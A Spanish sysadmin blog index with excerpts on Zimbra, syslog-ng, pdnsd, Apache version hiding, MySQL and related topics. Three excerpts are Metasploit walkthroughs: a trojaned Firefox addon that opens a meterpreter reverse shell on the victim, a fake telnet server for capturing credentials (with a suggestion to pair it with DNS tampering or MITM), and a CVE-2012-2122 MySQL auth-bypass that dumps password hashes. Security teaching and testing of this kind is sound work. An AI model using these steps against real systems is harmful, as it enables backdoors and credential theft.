zimbra https redirect

Tras finalizar la instalación de un servidor zimbra, una de las cosas más importantes es asegurar el sistema y para ello, lo primero que tenemos que hacer no es otra cosa que enviar los datos de inicio de sesión cifrados. Es decir, pasar de emplear el interfaz web por http a emplearlo por https. Poder hacer esto en zimbra es muy simple y desde línea de comandos sería algo tal que así,
shell> zmprov ms servidor.mail zimbraMailMode MÉTODO
Donde método es una de éstas opciones:
  • http
    Sólo conexiones http, es decir, sólo escucha en el puerto 80.
  • https
    Sólo escucha en el puerto 443 (https) y el puerto 80 no está a la escucha.
  • both
    Está activo en el puerto 80 y 443 y es el cliente el que decide a qué puerto conectarse
  • mixed
    Antes de iniciar sesión se redirige automáticamente al puerto https, para que las credenciales viajen cifradas. Luego el resto del tráfico viaja por http.
  • redirect
    Todo el tráfico viaja cifrado y las peticiones http son automática redireccionadas a https.
Una vez realizado el cambio, es necesario realizar un restart del servicio, para que se guarden y apliquen los cambios.
shell> zmcontrol restart
Para más información, aquí.
Leer más

syslog-ng stats off

La versión 3.x de syslog-ng incluye una mejora, o no tan mejora, que hace que por defecto, cada 10 minutos (600 segundos) se envíen al propio sistema de syslog las estadísticas de uso, causando así unos molestos mensajes que no aportan gran cosa al sistema.

Jun 27 21:02:13 efactura syslog-ng[1992]: Log statistics;
processed='center(queued)=879', processed='center(received)=879',
processed='destination(d_boot)=0', processed='destination(d_auth)=0',
processed='destination(d_cron)=117', processed='destination(d_mlal)=0',
processed='destination(d_kern)=0', processed='destination(d_mesg)=557',
processed='destination(d_cons)=0', processed='destination(d_spol)=0',
processed='destination(d_mail)=205', processed='source(s_sys)=879'
Jun 27 21:12:13 efactura syslog-ng[1992]: Log statistics;
processed='center(queued)=880', processed='center(received)=880',
processed='destination(d_boot)=0', processed='destination(d_auth)=0',
processed='destination(d_cron)=117', processed='destination(d_mlal)=0',
processed='destination(d_kern)=0', processed='destination(d_mesg)=558',
processed='destination(d_cons)=0', processed='destination(d_spol)=0',
processed='destination(d_mail)=205', processed='source(s_sys)=880'
Estos mensajes, en mi caso no me proveen de ninguna utilidad, por lo que me interesa suprimirlos, así que vamos a ver cómo hacerlo. Según la documentación, bastaría con añadir la variable stats, con un valor cero para que dejasen de aparecer, quedando tal que así,
options {
...
        stats (0);
};
En caso de que estos valores sean de vuestro interés, también se puede crear un filtro que los envíe a un fichero stats.log (por ejemplo). El filtro podría ser tal que así,
filter f_stats {
    match("^syslog-ng\[[[:digit:]]+\]: STATS")
  or
    match("^syslog-ng\[[[:digit:]]+\]: Log statistics");
};
Leer más

metasploit, corrupting firefox addon

Firefox supuso en su día un gran avance en los mavegadores web y llegó a ser de los mejores. A día de hoy todavía está entre los más utilizados, y aunque ahora ya es algo más habitual, en su momento, la idea de poder instalar addon's o complementos en el navegador, supuso una gran revolución. Cualquier persona podía crear uno de estos y dejarlo libre para la descarga (en formato xpi). Hoy voy a ensenar cómo poder crear muy fácilmente un pequeño addon para firefox que tras su instalación permita abrir una puerta al equipo Windows que lo instale. Para ello, como siempre, vamos a emplear metasploit.
msf> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit(firefox_xpi_bootstrapped_addon)> set PAYLOAD windows/meterpreter/reverse_tcp
Tras cargar el exploit a usar y el payload a infectar, simplemente queda la configuración y que una víctima lo instale. Por supuesto, como payload podéis usar el que mejor se os adapte en cada ocasión, aquí en el ejemplo, empleo uno de los más sencillos y rápidos de configurar.
msf exploit(firefox_xpi_bootstrapped_addon)> show options

Module options (exploit/multi/browser/firefox_xpi_bootstrapped_addon):

Name           Setting     Required  Description
----           -------     --------  -----------
ADDONNAME      metasploit  yes       The addon name.
AutoUninstall  true        yes       Automatically uninstall the addon
SRVHOST        0.0.0.0     yes       The local host to listen on.
SRVPORT        8080        yes       The local port to listen on.
SSL            false       no        Negotiate SSL for connections
SSLCert                    no        Path to a custom SSL certificate
SSLVersion     SSL3        no        Specify the version of SSL
URIPATH                    no        The URI to use for this exploit

Payload options (windows/meterpreter/reverse_tcp):

Name      Setting  Required  Description
----      -------  --------  -----------
EXITFUNC  process  yes       Exit technique: thread, none, process
LHOST              yes       The listen address
LPORT     4444     yes       The listen port

Exploit target:

Id  Name
--  ----
1   Windows x86 (Native Payload)

msf exploit(firefox_xpi_bootstrapped_addon)> set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_xpi_bootstrapped_addon)> set ADDONNAME metasploit
ADDONNAME => metasploit
msf exploit(firefox_xpi_bootstrapped_addon)> set LHOST 192.168.1.33
LHOST => 192.198.1.33
Una vez configurado, lanzamos el exploit,
msf exploit(firefox_xpi_bootstrapped_addon)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.33:4444 
[*] Using URL: http://0.0.0.0:80/fIqnAArNPieCr
[*]  Local IP: http://192.168.1.33:80/fIqnAArNPieCr
[*] Server started.
Y ahora ya sólo queda que alguien visite la web de descarga de addon o se baje el xpi para que se nos abra una sesión contra la víctima. Cuando esto suceda, veremos algo similar a lo siguiente,
[*] 192.168.1.42 firefox_xpi_bootstrapped_addon - Handling request...
[*] 192.168.1.42 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] 192.168.1.42 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.42:1182) at Thu Jun 28 22:44:19 +0200 2012
Y tendremos una sesión abierta a la que podremos acceder aunque el equipo de la víctima cierre su firefox.
msf exploit(firefox_xpi_bootstrapped_addon)> show sessions

Active sessions
===============

Id  Type        Information  Connection
--  ----        -----------  ----------
1   meterpreter  WIN\Admin   192.168.1.33:4444 -> 192.168.1.42:1182 (192.168.1.42)
Leer más

metasploit, telnet server fake

telnet es uno de esos servicios que todavía está presente en muchos equipos (importantes) y que presenta unos graves fallos de seguridad, como por ejemplo no cifrar los datos que se envían ni reciben. Éste es el principal motivo por el que ssh le ganó terreno. Hacen "lo mismo", pero ssh securizado. Con metasploit podemos crear un servidor telnet fake, que quede a la escucha en el puerto que queramos (por defecto, puerto 23) y que permita capturar las credenciales de acceso cuando un usuario intente acceder. Vamos a ver cómo funciona.
msf> use auxiliary/server/capture/telnet
msf auxiliary(telnet)> show options

Module options (auxiliary/server/capture/telnet):

Name       Setting Required  Description
----       ------- --------  -----------
SRVHOST    0.0.0.0  yes      The local host to listen on.
SRVPORT    23       yes      The local port to listen on.
SSL        false    no       Negotiate SSL for incoming connections
SSLCert             no       Path to a custom SSL certificate
SSLVersion SSL3     no       Specify the version of SSL that should be used

msf auxiliary(telnet)> run
[*] Auxiliary module execution completed

[*] Server started.
Tras arrancar el servidor telnet fake, simplemente lo dejamos a la escucha de alguien que se conecte y nos de unas credenciales válidas. Vamos ahora a simular una conexión al servidor y ver lo que aparece.
shell> telnet 192.168.1.33
Trying 192.168.1.33...
Connected to 192.168.1.33.
Escape character is '^]'.

Welcome.

Login: root
Password: 

Login failed
Y vemos en texto plano el usuario/contraseña y la IP desde la que se realiza la conexión.
[*] TELNET LOGIN 192.168.1.34:51803 root / admin
Efectivamente esto por si sólo no sirve de nada, ya que no hay ningún motivo por el que dejar un telnet a la escucha a la espera de conexiones válidas, sin embargo si este fake lo empleamos apoyándonos en una "alteración" de un DNS o un ataque MITM, podemos hacer pasar la máquina fake por un equipo real, capturando así credenciales válidas para el equipo que vayamos a suplantar.
Leer más

Obligación de cambio de contraseña mensual

Si hace tiempo hablamos de cómo se podía forzar el cambio de una contraseña tras crear un nuevo usuario, por ejemplo, hoy vamos a ver cómo forzar un cambio de contraseña cada 30 días.
Este tipo de restricciones es usado típicamente en sistemas LDAP, dónde se puede configurar fácilmente cada cuanto tiempo una contraseña expira, así como los tiempos de advertencia. Lo mismo sucede con el sistema en sí. El fichero /etc/shadow tiene variables que controlan dichas fechas y por defecto, fuerzan el cambio de contraseña cada 99999 días (ufff, cuántos!). Apoyándonos en el comando chage, vamos a forzar por lo tanto al sistema a que nos pida que se cambie la contraseña cada 30 días y que durante 5 días antes de ser necesario el cambio, nos advierta de que hay que cambiarla ya. Para lograr esto simplemente ejecutamos por cada usuario,
shell> chage -M 30 -W 5 $user
Esta línea hará los cambios necesarios en el fichero /etc/shadow para que el sistema cuando sea necesario pida el cambio de contraseña. Puesto que nos interesa que eso suceda para todos los nuevos usuarios del sistema, vamos a editar el fichero /etc/login.defs y establecer dicho valor en las variables que correspondan,
...
PASS_MAX_DAYS   30
PASS_MIN_DAYS   0
PASS_WARN_AGE   5
...

Leer más

pdnsd, proxy caché DNS

Hace tiempo ya hablamos de dnsmasq, un pequeño servicio de caché de DNS que resuelve y almacena localmente las peticiones para poder responder más rápidamente a páginas a las que se ha accedido con anterioridad.
La ventaja del mundo del software libre es justamente esa, poder crear proyectos y darse a conocer por que sí. Tal es el caso que hoy hablamos de una aplicación que hace prácticamente lo mismo, servir de proxy local para DNS, acelerando las consultas. Dicha aplicación es pdnsd, un pequeño proxy que se ejecuta como daemon del sistema y que crea un servicio de respuesta DNS, que mantiene en caché la relación nombre <-> IP para así poder ofrecer mayor rapidez. Vamos a ver cómo funciona, de forma simple. Comenzamos instalándolo,
shell> apt-get install pdnsd
Tras la instalación, hay que configurar el servicio. Para ello, editamos el fichero /etc/pdnsd.conf y en la sección server, lo dejamos tal que así,
server {
   label="DNS Google";
   ip=8.8.8.8;
   ip=8.8.4.4;
   timeout=30;
   uptest=ping;
   interval=30;
   ping_timeout=300;
   proxy_only=on;
   purge_cache=off;
   caching=on;
   preset=off;
}
Y también editamos el fichero /etc/default/pdnsd.
# do we start pdnsd ?
START_DAEMON=yes
# auto-mode, overrides /etc/pdsnd.conf if set [see /usr/share/pdnsd/]
AUTO_MODE=
# optional CLI options to pass to pdnsd(8)
START_OPTIONS=
Tras esto, ya es posible arrancar pdnsd como daemon.
shell> /etc/init.d/pdnsd restart
Una vez reiniciado el servicio, ya tenemos un servidor DNS local, con caché, por lo que tenemos que cambiar la IP de resolución de nombres de los servidores que empleemos a localhost. Para ello, editamos el fichero /etc/resolv.conf y lo dejamos,
nameserver 127.0.0.1
Y si realizamos la misma prueba que hicimos con dnsmasq vemos que los resultados son muy similares.
shell> dig www.marca.com
...
;; Query time: 15 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed Mar 14 13:33:07 2012
;; MSG SIZE  rcvd: 275
shell> dig www.marca.com
...
;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed Mar 14 13:33:14 2012
;; MSG SIZE  rcvd: 47
Leer más

PhotoRec, recuperar archivos borrados

Una vez ya hablamos en este blog de foremost, una herramienta capaz de recuperar archivos borrados desde línea de comandos en GNU/Linux. Como siempre, existen muchos proyectos que hacen lo mismo, de la misma o diferente forma. Hoy quiero hablar de PhotoRec, una pequeña utilidad que fue creada en un primer momento para restaurar fotos borradas por accidente, pero que luego fue creciendo hasta ser capaz de recuperar cualquier archivo de varios tipos de particiones. Como siempre, el borrado de los ficheros no pudo haber sido seguro y a poder ser, que no se haya sobreescrito nada. Si estas condiciones se dan, PhotoRec funciona muy bien, permitiendo recuperar de forma sencilla los datos borrados.
En sistemas Debian, se instala desde repositorio oficial,
shell> apt-get install testdisk
Una vez instalada, simplemente hay que llamarla y decirle el dispositivo del que se desea recuperar datos y seguir los sencillos pasos que se nos indican. Al indicar el dispositivo, ya trabajará directamente contra él.
shell> photorec /dev/sdf1
PhotoRec 6.11, Data Recovery Utility, April 2009
Christophe GRENIER 
http://www.cgsecurity.org

  PhotoRec is free software, and
comes with ABSOLUTELY NO WARRANTY.

Select a media (use Arrow keys, then press Enter):
Disk /dev/sdf1 - 1991 MB / 1898 MiB (RO) - USB1101 Flash Disk


[Proceed ]  [  Quit  ]
                                  Quit program
Una vez presionado Proceed, habrá que elegir el tipo de partición y el sistema de ficheros y ya se pondrá a buscar en los ficheros borrados. Según el tamaño del dispositivo, tardará más o menos. Una vez termine, dejará los dicheros en la carpeta /root/recup_dir.1, por defecto. Aunque se podrá elegir en el momento de ejecución.
PhotoRec 6.11, Data Recovery Utility, April 2009
Christophe GRENIER 
http://www.cgsecurity.org

Disk /dev/sdf1 - 1991 MB / 1898 MiB (RO) - USB1101 Flash Disk
     Partition                  Start        End    Size in sectors
   P FAT16                    0   0  1  1011  41  6    3888832 [NO NAME]


9 files saved in /root/recup_dir directory.
Recovery completed.
riff: 9 recovered


[ Quit ]
Para más información de esta estupenda herramienta, http://www.cgsecurity.org/wiki/PhotoRec_Step_By_Step.
Leer más

Ocultar versión de apache en RedHat/CentOs

En muchas ocasiones, especialmente en servidor de producción, una de las formas de proteger los equipos es la ocultación. Si un atacante no sabe qué versión del software estamos empleando, no podrá atacar directamente los posibles fallos que la versión tenga. Aunque no es para nada efectivo, sí puede resultar de ayuda para entorpecer los ataques, ya que tendrá que probar varios exploits y así tenemos más posibilidades de que nuestro IDS detecte y nos alerte del ataque.
Por defecto, un equipo con el servidor apache arrancado, al pedir información del servidor nos indica lo siguiente, por ejemplo.

shell> curl -I http://192.168.1.69
HTTP/1.1 403 Forbidden
Date: Thu, 07 Jun 2012 10:24:35 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
Content-Length: 5039
Connection: close
Content-Type: text/html; charset=UTF-8
Y lo que nos interesa es justamente ocultar la información referente a la versión de apache. Para ello, hay que editar el fichero de configuración httpd.conf (generalmente en /etc/httpd/conf/httpd.conf) y establecer las variables ServerSignature y ServerTokens a Off y Prod, respectivamente.
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
ServerSignature Off

# Don't give away too much information about all the subcomponents
# we are running.  Comment out this line if you don't mind remote sites
# finding out what major optional modules you are running
ServerTokens Prod
Tras ello, reiniciamos el servicio.
shell> /etc/init.d/httpd restart
Y ahora al consultar la información del servicio observamos la diferencia,
shell> curl -I http://192.168.1.69
HTTP/1.1 403 Forbidden
Date: Thu, 07 Jun 2012 10:25:35 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 5039
Connection: close
Content-Type: text/html; charset=UTF-8
Directamente relacionado con apache y su versión está también php. Para ver cómo ocultar la versión de php, pinche aquí.
Leer más

intypedia (I)

intypedia es un proyecto de la Universidad Politécnica de Madrid que pretende construir una enciclopedia visual para la Seguridad de la Información. Dicho proyecto no pretende más que difundir conocimientos y conceptos básicos a partir de lecciones sencillas y visuales, para que esté accesible a todo el mundo. Para más información de este interesante proyecto,
A continuación os dejo las 5 primeras lecciones sobre Seguridad de la Información.
  • Lección 1: Historia de la criptografía y su desarrollo en Europa


  • Lección 2: Sistemas de cifra con clave secreta


  • Lección 3: Sistemas de cifra con clave pública


  • Lección 4: Introducción a la seguridad en redes telemáticas


  • Lección 5: Seguridad perimetral

Otras lecciones de Intypedia:
  • Intypedia (I)
  • Intypedia (II)
  • Intypedia (III)
Leer más

Convertir imágenes a pdf

En muchas ocasiones a todos nos ha pasado que por el motivo que sea nos interesa convertir una imagen (fichero .jpg o .png) a un fichero pdf, para por ejemplo, poder enviarlo y que sea más complicado modificar. La técnica habitual que vi muchas veces es la de abrir OpenOffice, ahora LibreOffice, e insertar la imagen en un nuevo documento. Luego, exportarlo a pdf. Efectivamente esta técnica es válida, aunque no efectiva al 100%. Hoy os voy a enseñar un pequeño truco ayudándonos del paquete imagemagick y que permite realizar esta tarea de forma muy eficiente y rápida.
Primero, lo vamos a instalar. Para ello,
shell> apt-get install imagemagick
Una vez está instalado, ya lo podemos usar para convertir una imagen a pdf. La sintaxis es la siguiente, que como se puede observar, es muy sencilla,
shell> convert imagen.jpg salida.pdf
Y en caso de que nos interese insertar varias imágenes en un mismo pdf, se podría hacer tal que así,
shell> convert -adjoin *.png salida.pdf
Esta forma ya mucho más eficiente que la tradicional de insertar imágenes un un archivo de texto.
La utilidad convert, es muy útil para convertir formatos de ficheros. Para saber el listado de conversiones que puede manejar, lo podemos obtener con,
shell> convert -list format
Format  Module  Mode  Description
-------------------------------------------------
 3FR    DNG     r--   Hasselblad CFV/H3D39II
  A*    RAW     rw+   Raw alpha samples
  AI    PDF     rw-   Adobe Illustrator CS2
ART*    ART     rw-   PFS: 1st Publisher Clip Art
...
Leer más

Backup de ACL's

Si estás trabajando en un servidor GNU/Linux que maneja ACL's, especialmente complejas para usuarios y grupos, lo mejor que puedes hacer es realizar un backup de las mismas diariamente, por que si un día necesitas restaurar algo, lo más probable es que también tengas que reestablecer la larga cadena de ACL's que conlleva y eso, según qué casos puede no ser 100% simple. Para poder hacer lo comentado, existe el comando getfacl que no es más que un pequeño programa que consultas las ACL's del directorio pasado como parámetro y permite volcar la salida a un fichero de texto. A continuación, os dejo un ejemplo de cómo quedaría el script que realizar el backup de las ACL's.
#!/bin/bash

BACKUP_DIRS="/data"
STORE_ACL="/var/backups"
umask 077
for i in $BACKUP_DIRS
do
 cd $i; /usr/bin/getfacl -R . > $STORE_ACL/$i.acl
done
Y puesto que todos nuestros sistemas está automatizados y manejados con puppet, creamos una pequeña clase que permite instalar este script y ejecutarlo diariamente sin esfuerzo alguno.
class configuracion::acl {
 file { "/usr/local/sbin/backup-acl":
   owner => root,
   group => root,
   mode => 0500,
   source => "puppet://$master/files/backup-acl",
   ensure => present;
 }

 cron { "domain-acl":
   command => "/usr/local/sbin/backup-acl",
   user => root,
   hour => 1,
   minute => 15,
   require => File [ "/usr/local/sbin/backup-acl" ],
   ensure => present;
 }
}
Así que para poder usarla, únicamente hay que agregar la clase creada en los equipos que se desee.
include configuracion::acl
Leer más

Can't locate Date/Calc.pm in CentOS

En ocasiones puede que tengamos un pequeño programa escrito en perl que hace uso de la librería Date::Calc, para el manejo y cálculo más exacto de fechas. Pues bien, para poder emplearla hay que tener instaladas las librerías específicas. En Debian/Ubuntu éstas se llaman libdate-calc-perl y se instalan de forma muy sencilla. El problema está en CentOS/RedHat, que si no las tenemos obtenemos el siguiente fallo (al igual que en cualquier otro sistema).
Can't locate Date/Calc.pm in @INC (@INC contains:
/usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi
/usr/lib/perl5/site_perl/5.8.8
/usr/lib/perl5/site_perl
/usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.8
/usr/lib/perl5/vendor_perl
/usr/lib/perl5/5.8.8/i386-linux-thread-multi
/usr/lib/perl5/5.8.8 .) at /usr/local/sbin/program.pl line 192.
Pues bien, para evitar dicho fallo, lo mejor es lógicamente instalar las librerías necesarias y en RedHat/CentOS, el nombre de dicha librería es perl-Date-Calc.
shell> yum search date-cal
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirror.bofh.so
 * epel: mirror.uv.es
 * extras: mirror.ate.info
 * updates: mirror.ate.info
==================== Matched: date-cal ====================
perl-Date-Calc.i386 : Un modulo para calculos de fechas eficiente ...
Por lo tanto, sirviéndonos de yum, la instalamos en nuestro equipo y el fallo desaparecerá.
shell> yum install perl-Date-Calc
Leer más

MySQL, exportar a csv

Muchos de los programas que se suelen emplear para manipular datos no contemplan la posibilidad de manejar ficheros sql, sin embargo sí suelen saber usar csv.
El formato csv no es más que un simple fichero de texto plano que separa las columnas que lo forman por un carecter (generalmente ,) y que permite que programas como excel, access y los correspondientes de OpenOffice/LibreOffice lo comprendan y lo sepan manejar. Por lo tanto, si tenemos los datos en una base de datos MySQL y nos interesa manejarlos en otro lado, qué mejor que sacarlos en formato csv. Para lograrlo,
mysql> select * from users
    -> into outfile "/tmp/users.csv"
    -> fields terminated by ',';
Y como resultado obtenemos algo tal que así,
1,Admin,Zabbix,Administrator,d66,,0,900,en_gb,30,3,,6,,,50
2,guest,Default,User,27e,,0,900,en_gb,30,1,default.css,0,,0,50
3,javier,Javier,,,,0,0,sp_sp,60,3,,0,,,200
Leer más

Agente zabbix funcionando correctamente

Muchas veces cuando se instala un nuevo agente zabbix y éste tarda en enviar información al servidor, no sabemos si es por un problema en la configuración o por que algo está fallando en la comunicación. Una forma de saber si está correctamente configurado y a la escucha es conectarnos a él desde el zabbix_server. Aunque esto no siempre tiene por que funcionar, ya que la conexión puede ser correcta pero aun así no enviar información por que algo esté fallando (por ejemplo, que el propio agente esté colgado y necesite un restart). Para comprobar todos estos detalles, nos podemos servir de telnet ;-)
Primero vamos a comprobar que la configuración del agente está correcta. En este caso hay que mirar el servidor y el puerto. Los valores, serán similares a,
Server=192.168.1.100
ListenPort=10050
Así que ahora toca lanzar un telnet desde la IP del servidor zabbix, en este caso la 192.168.1.100. Intentamos conectar con el cliente, y al conectarnos ejecutamos un item para que nos devuelva su valor.
shell> telnet 192.168.1.33 10050
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
system.cpu.load[,avg15]
ZBXD0.000000
Connection closed by foreign host.
Como se puede observar aquí, devolvió el valor, por lo tanto nuestro agente está funcionando perfectamente y es accesible desde el servidor zabbix.
Leer más

Ampliar el tamaño de los adjuntos en zimbra

Por defecto, zimbra al igual que el resto de servidores de correo tiene un tamaño máximo para los archivos adjuntos y este por defecto está en 10Mb. Según el tipo de servidor o la gente que lo esté empleando, este límite puede ser muy alto o también muy bajo. En caso de que lo que suceda sea lo segundo, habrá que aumentar dicho límite al que deseemos. Como prácticamente todas las cosas desde zimbra se realizan en línea de comandos de forma muy simple. Por lo tanto, si lo que queremos es aumentar el tamaño máximo del adjunto a 20MB, primero habría que calcular la cantidad de bytes que son y luego pasárselos al servidor. Para ello, una simple cuenta matemática,
20 x 1024 x 1024 = 20971520
Y a continuación metemos el nuevo valor al sistema, ayudándonos de zmprov.
shell> su zimbra -
shell> zmprov mcf zimbraMtaMaxMessageSize 20971520
shell> zmprov mcf zimbraFileUploadMaxSize 20971520
Acordaron que cuanto mayor sea el adjunto, mayor serán los requisitos del sistema para poder manejarlo y de zimbra por defecto envía los adjuntos codificados en base64-encoding por lo que dicha codificación hará que un adjunto ocupe un poco más de lo que realmente es.
Leer más

NFS, qué se comparte en la red

Al igual que las redes que emplean equipo Windows (y samba en GNU/Linux) permite compartir y ver lo que comparten otros de forma sencilla, en caso de NFS y equipos Linux, ésto también pasa. Hoy os presento un pequeño truco que permite saber de forma simple aquellas carpetas y recursos que están compartidos en red vía NFS y de forma muy simple: showmount. También, éste maravilloso comando permitirá de forma sencilla saber quién usó este recursos compartido.
Vamos a ver a continuación cómo funciona,
shell> showmount -e 192.168.1.15
Export list for 192.168.1.15:
/home 192.168.1.0/24
Como se puede observar, así obtenemos un listado completo de todos los recursos que la máquina 192.168.1.15 está compartiendo y a los que tenemos acceso. Acceso, cuando menos de IP.
También podemos lista únicamente aquellos directorios compartidos por una máquina, con la opción -d.
shell> showmount -d 192.168.1.15
Directories on 192.168.1.15:
/home
Si ahora nos interesa saber desde nuestro equipo qué máquinas montaron alguna vez un recurso del servidor consultado, lo podemos hacer con la opción -a. Esta opción no indica qué máquinas lo tienen montado, sino aquellas que lo han montado alguna vez, desde el último reinicio.
shell> showmount -a 192.168.1.15
All mount points on 192.168.1.15:
192.168.1.33:/home
192.168.1.34:/home
192.168.1.35:/home
192.168.1.145:/home
192.168.1.2:/home
Leer más

Metasploit, CVE-2012-2122

En otro post hablamos del fallo de seguridad CVE-2012-2122 que afecta a MySQL y que permite obtener las credenciales de acceso sin tener acceso. La gente de metasploit no tardó mucho en sacar un pequeño código ruby que permite explotar dicha vulnerabilidad.
A continuación vamos a ver cómo usarlo para comprobar si nuestro motor de base de datos es vulnerable o no. En caso de que sea, ya sabéis, toca actualizar!
shell> msfconsole
msf> search mysql

Matching Modules
================
Name                                               Description
----                                               ------------------------
auxiliary/admin/mysql/mysql_enum                   MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql                    MySQL SQL Generic Query
auxiliary/admin/tikiwiki/tikidblib                 TikiWiki information...
auxiliary/analyze/jtr_mysql_fast                   John the Ripper MySQL
auxiliary/scanner/mysql/mysql_authbypass_hashdump  MYSQL CVE-2012-2122...
auxiliary/scanner/mysql/mysql_hashdump             MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login                MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump           MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version              MySQL Server Version...
exploit/linux/mysql/mysql_yassl_getname            MySQL yaSSL...
exploit/linux/mysql/mysql_yassl_hello              MySQL yaSSL...
exploit/windows/mysql/mysql_payload                Oracle MySQL...
exploit/windows/mysql/mysql_yassl_hello            MySQL yaSSL...
post/linux/gather/enum_configs                     Linux Gather...
post/linux/gather/enum_users_history               Linux Gather User...

msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump)> show options

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

Name      Setting    Required  Description
----      -------    --------  -----------
RHOSTS               yes       The target address range or CIDR identifier
RPORT     3306       yes       The target port
THREADS   1          yes       The number of concurrent threads
USERNAME             no        The username to authenticate as

msf auxiliary(mysql_authbypass_hashdump)> set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump)> set USERNAME root
USERNAME => root
msf auxiliary(mysql_authbypass_hashdump)> show options

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

Name      Setting    Required  Description
----      -------    --------  -----------
RHOSTS    127.0.0.1  yes       The target address range or CIDR identifier
RPORT     3306       yes       The target port
THREADS   1          yes       The number of concurrent threads
USERNAME  root       no        The username to authenticate as
La salida para un MySQL vulnerable será similar a ésta:
msf auxiliary(mysql_authbypass_hashdump)> run
 
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Y la salida para uno no vulnerable, tal que así,
msf auxiliary(mysql_authbypass_hashdump)> run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Authentication bypass is 30% complete
[*] 127.0.0.1:3306 Authentication bypass is 40% complete
[*] 127.0.0.1:3306 Authentication bypass is 50% complete
[*] 127.0.0.1:3306 Authentication bypass is 60% complete
[*] 127.0.0.1:3306 Authentication bypass is 70% complete
[*] 127.0.0.1:3306 Authentication bypass is 80% complete
[*] 127.0.0.1:3306 Authentication bypass is 90% complete
[*] 127.0.0.1:3306 Authentication bypass is 100% complete
[-] 127.0.0.1:3306 Unable to bypass authentication, this target may not be vulnerable
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Leer más

Restaurar backup de cuentas zimbra

Si en un post reciente hablamos de cómo poder realizar un backup de las cuentas de correo en Zimbra, ahora toca el momento de saber qué hacer si es necesario recurrir a dicho backup. Pues bien, antes de realizar ninguna acción tenemos que saber las opciones que nos permite el comando zmmailbox a la hora de restaurar datos a una cuenta. Si la cuenta fue completamente borrada no importa, pero si todavía tiene datos, ésto sí es importante. Por lo tanto, primero vemos las opciones y luego cómo recuperar los datos.
  • modify
    Modifica el elemento viejo con el nuevo.
  • replace
    Borra el elemento existente y lo vuelve a crear.
  • reset
    Borra todos los elementos antes de crear los nuevos.
  • skip
    No importa elementos duplicados.
Bien, entonces sirviendonos del comando zmmailbox y del fichero de backup, podemos realizar lo siguiente:
shell> zmmailbox -z -m cuenta@server.com \
       postRestURL "//?fmt=tgz&resolve=skip" \
       cuenta@server.com.tgz
En nuestro caso, como la cuenta existe y no queremos reemplazar todo, simplemente recuperamos lo borrado respecto del último backup. En caso de que quisiéramos recuperar todo,
shell> zmmailbox -z -m cuenta@server.com \
       postRestURL "//?fmt=tgz&resolve=reset" \
       cuenta@server.com.tgz
Leer más

Rutas de interés en MySQL

Siempre se puede dar la necesidad de saber dónde se almacenan los datos de nuestra instalación de MySQL, así como otros datos curiosos del servidor. Para saber la ruta base de instalación y la ruta de datos, podemos ejecutar las siguientes sentencias, válidas para cualquier instalación de MySQL (no depende del sistema operativo).
Ruta base de instalación:
mysql> SELECT @@basedir AS 'Directorio base';
+-----------------+
| Directorio base |
+-----------------+
| /usr            |
+-----------------+
1 row in set (0.00 sec)
Ruta base de datos:
mysql> SELECT @@datadir AS 'Directorio datos';
+------------------+
| Directorio datos |
+------------------+
| /srv/data/mysql/ |
+------------------+
1 row in set (0.00 sec)
Leer más

MySQL fail, CVE-2012-2122

